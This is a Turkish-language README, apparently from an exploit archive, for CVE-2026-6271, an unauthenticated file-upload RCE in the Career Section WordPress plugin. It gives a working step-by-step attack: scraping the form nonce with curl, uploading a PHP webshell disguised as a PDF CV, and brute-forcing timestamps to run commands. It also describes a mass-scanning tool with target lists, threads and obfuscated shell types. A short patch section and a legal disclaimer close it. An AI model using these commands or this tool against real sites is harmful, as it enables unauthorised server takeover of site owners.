Share
## https://sploitus.com/exploit?id=C8D08927-0955-55BD-8E9A-E68E2B617A27
# CVE-2026-6271 — Career Section WordPress Plugin RCE Scanner
> **Plugin:** Career Section (`career-section`)
> **CVE ID:** CVE-2026-6271
> **CVSS Score:** 9.8 (Critical)
> **CVSS Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
> **Zafiyet Türü:** Unauthenticated Arbitrary File Upload → Remote Code Execution
> **Etkilenen Sürüm:** **Yamalı Sürüm:** 1.8
> **Yayın Tarihi:** 13 Mayıs 2026
> **Araştırmacı:** Paolo Tresso — Wordfence
---
## 📌 Zafiyet Hakkında
Career Section eklentisi, site sahiplerinin iş ilanı yayınlamasına ve
başvuru toplamasına olanak tanır. Her iş ilanı sayfasında bir **"Apply Now"**
formu bulunur. Bu form bir CV dosyası yükleme alanı içerir.
**1.7 ve önceki sürümlerde** yükleme işleyicisi herhangi bir dosya türünü
kabul eder — `.php` dahil. Form herkese açık olduğundan ve CSRF token
sayfa HTML'inde gömülü olduğundan **herhangi bir hesap veya yetki
gerekmeksizin** bu açık istismar edilebilir.
---
## ⚙️ Teknik Analiz
### Neden Nonce Koruma Sağlamıyor?
WordPress nonce'ları **CSRF token**'dır, kimlik doğrulama token'ı değildir.
Nonce değeri her ziyaretçi için sayfa HTML'ine gömülür:
```html
```
Kimliği doğrulanmamış herhangi bir ziyaretçi geçerli bir nonce alabilir
ve doğrulama kontrolünü geçebilir.
### Dosya Tipi Doğrulaması Eksik
```php
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {
$original_name = sanitize_file_name( $_FILES['cv']['name'] );
$name_file = time() . '_' . $original_name;
$destination = $cs_dir . '/' . $name_file;
// Uzantı kontrolü YOK — .php dahil her şey kabul edilir
if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
$uploaded_file_url = $upload_dir['baseurl']
. '/cs_applicant_submission_files/'
. $name_file;
}
}
```
`sanitize_file_name()` yalnızca özel karakterleri temizler,
tehlikeli uzantıları **engellemez**.
### Yükleme Dizini
```
wp-content/uploads/cs_applicant_submission_files/_
```
Bu dizinde PHP çalıştırmayı engelleyen `.htaccess` dosyası **yoktur.**
---
## 🔴 Neden Kritik?
| Sebep | Açıklama |
|---|---|
| **Kimlik doğrulama gerekmez** | Nonce public HTML'de gömülü |
| **Dosya tipi kısıtlaması yok** | `.php`, `.php5`, `.phtml` kabul edilir |
| **`.htaccess` koruması yok** | Upload dizininde PHP çalışır |
| **Tahmin edilebilir dosya adı** | `time()_filename` → timestamp brute-force |
---
## 🧪 Proof of Concept (Manuel)
> ⚠️ **Disclaimer:** This PoC is for educational purposes only.
> Only test on systems you own or have explicit written permission to test.
**Ön Koşullar:**
- Career Section eklentisi kurulu ve aktif (sürüm ≤ 1.7)
- En az bir iş ilanı yayınlanmış
---
### Adım 1 — PHP Webshell Oluştur
```bash
echo '' > shell.php
```
---
### Adım 2 — Nonce Çek
```bash
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"
NONCE=$(curl -s "$JOB_URL" \
| grep -oP 'name="csaf_form_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"
```
Sayfa kaynağında aranacak yapı:
```html
```
---
### Adım 3 — Webshell Yükle
```bash
TS=$(date +%s)
curl -s -X POST "$JOB_URL" \
-F "first_name=John" \
-F "last_name=Doe" \
-F "present_address=123 Main St" \
-F "email_address=attacker@evil.com" \
-F "mobile_no=1234567890" \
-F "post_name=Engineer" \
-F "submit=Submit" \
-F "csaf_form_nonce=$NONCE" \
-F "cv=@shell.php;type=application/pdf" \
| grep -o "Application has been sent"
```
---
### Adım 4 — RCE Tetikle
Dosya adı `_shell.php` formatındadır.
`$TS` etrafındaki timestamp'leri dene:
```bash
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"
for T in $(seq $((TS-2)) $((TS+2))); do
URL="$UPLOADS/${T}_shell.php"
RESULT=$(curl -s "$URL?cmd=id")
if echo "$RESULT" | grep -q "uid="; then
echo "Webshell aktif: $URL"
echo "RCE çıktısı : $RESULT"
break
fi
done
```
Beklenen çıktı:
```
Webshell aktif: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
---
## 🛠️ Otomatik Tarayıcı
### Kurulum
```bash
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt
```
**requirements.txt**
```
requests
```
---
## 🚀 Kullanım
### Tekil Hedef
```bash
python career_section_rce.py -u http://hedef.com
```
### Direkt Job URL ile
```bash
python career_section_rce.py -u http://hedef.com \
--job-url http://hedef.com/careers/engineer/
```
### Shell Doğrulama ile
```bash
python career_section_rce.py -u http://hedef.com \
--verify-cmd "whoami"
```
### Toplu Tarama
```bash
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt
```
### Timestamp Window Artır (Yavaş Sunucular)
```bash
python career_section_rce.py -u http://hedef.com --ts-window 10
```
### Full Shell + Proxy (Burp Suite)
```bash
python career_section_rce.py -u http://hedef.com \
--shell-type full \
--proxy http://127.0.0.1:8080
```
---
## ⚙️ Parametreler
| Parametre | Kısa | Açıklama | Varsayılan |
|---|---|---|---|
| `--url` | `-u` | Tekil hedef URL | — |
| `--list` | `-l` | Hedef listesi dosyası | — |
| `--threads` | `-t` | Thread sayısı | `10` |
| `--output` | `-o` | Çıktı dosyası | `rce_confirmed.txt` |
| `--job-url` | — | Direkt job listing URL | — |
| `--shell-name` | — | Yüklenecek dosya adı | `shell.php` |
| `--shell-type` | — | Shell tipi | `system` |
| `--verify-cmd` | — | RCE doğrulama komutu | `id` |
| `--ts-window` | — | Timestamp brute-force penceresi (±sn) | `5` |
| `--proxy` | — | Proxy URL | — |
| `--timeout` | — | İstek timeout (sn) | `10` |
---
## 💀 Shell Tipleri
| Tip | Payload | Açıklama |
|---|---|---|
| `system` | `` | Temel sistem komutu |
| `passthru` | `` | Ham çıktı |
| `exec` | `` | Sessiz çalıştırma |
| `assert` | `` | POST ile eval |
| `b64` | `` | Base64 obfuscation |
| `full` | shell_exec + system + exec fallback | Tam kapsamlı shell |
---
## 📂 Shell Yükleme Konumu
```
WordPress Kök/
└── wp-content/
└── uploads/
└── cs_applicant_submission_files/
└── _shell.php ← Shell burada
```
Doğrudan erişim:
```bash
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
---
## 📊 Tarayıcı Çıktı Durumları
| Durum | Açıklama |
|---|---|
| `★ RCE OK` | Shell yüklendi + komut başarıyla çalıştı |
| `★ SHELL ALIVE` | Shell erişilebilir, farklı yanıt döndü |
| `~ EXEC_DISABLED` | Shell var ama exec() sunucuda kapalı |
| `? UPLOADED` | Yüklendi ama timestamp bulunamadı |
| `- BLOCKED` | Dosya tipi engellendi (yamalı sürüm) |
| `~ NO_NONCE` | `csaf_form_nonce` bulunamadı |
| `~ TIMEOUT` | Bağlantı zaman aşımı |
| `~ UNREACH` | Hedefe ulaşılamıyor |
---
## 🖥️ Örnek Tarayıcı Çıktısı
```
[*] 3 hedef | CVE-2026-6271 Career Section | threads=10
[★ RCE OK ] http://hedef1.com
Nonce : a1b2c3d4e5 (kaynak: http://hedef1.com/careers/engineer/)
Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
[- BLOCKED ] http://hedef2.com (dosya tipi engellendi)
[~ NO_NONCE ] http://hedef3.com (csaf_form_nonce bulunamadı)
──────────────────────────────────────────────────────────────
UPLOADED_RCE_OK : 1 █
BLOCKED : 1 █
NO_NONCE : 1 █
──────────────────────────────────────────────────────────────
RCE onaylı → rce_confirmed.txt
──────────────────────────────────────────────────────────────
```
---
## 🛡️ Savunma / Yama
| Önlem | Uygulama |
|---|---|
| **Eklenti Güncellemesi** | Career Section 1.8 veya üstüne yükselt |
| **PHP Execution Engeli** | Upload dizinine `.htaccess` ekle |
| **Uzantı Whitelist** | Yalnızca `pdf`, `doc`, `docx` kabul et |
| **MIME Doğrulama** | `finfo_file()` ile gerçek içerik kontrolü |
| **WAF Kuralı** | `.php` yükleme isteklerini engelle |
`wp-content/uploads/cs_applicant_submission_files/` dizini için `.htaccess`:
```apache
Deny from all
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
```
---
## 📁 Dosya Yapısı
```
cve-2026-6271-scanner/
├── career_section_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
```
---
## ⚠️ Yasal Uyarı
> Bu araç ve PoC yalnızca **yetkili sistemlerde**, **eğitim amaçlı** ve
> **penetrasyon testi** kapsamında kullanılmak üzere hazırlanmıştır.
> İzinsiz sistemlerde kullanımı **Türk Ceza Kanunu 243-245. maddeleri**
> ve uluslararası siber suç yasaları kapsamında **suç teşkil eder.**
> Geliştirici, aracın kötüye kullanımından doğacak hiçbir hukuki
> sorumluluk kabul etmez.
---
## 📄 Lisans
MIT License — Yalnızca eğitim ve araştırma amaçlıdır.
---
## 🔗 Referanslar
- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/)
- [WordPress Plugin Directory — Career Section](https://wordpress.org/plugins/career-section/)
- [CVSS 3.1 Calculator](https://www.first.org/cvss/calculator/3.1)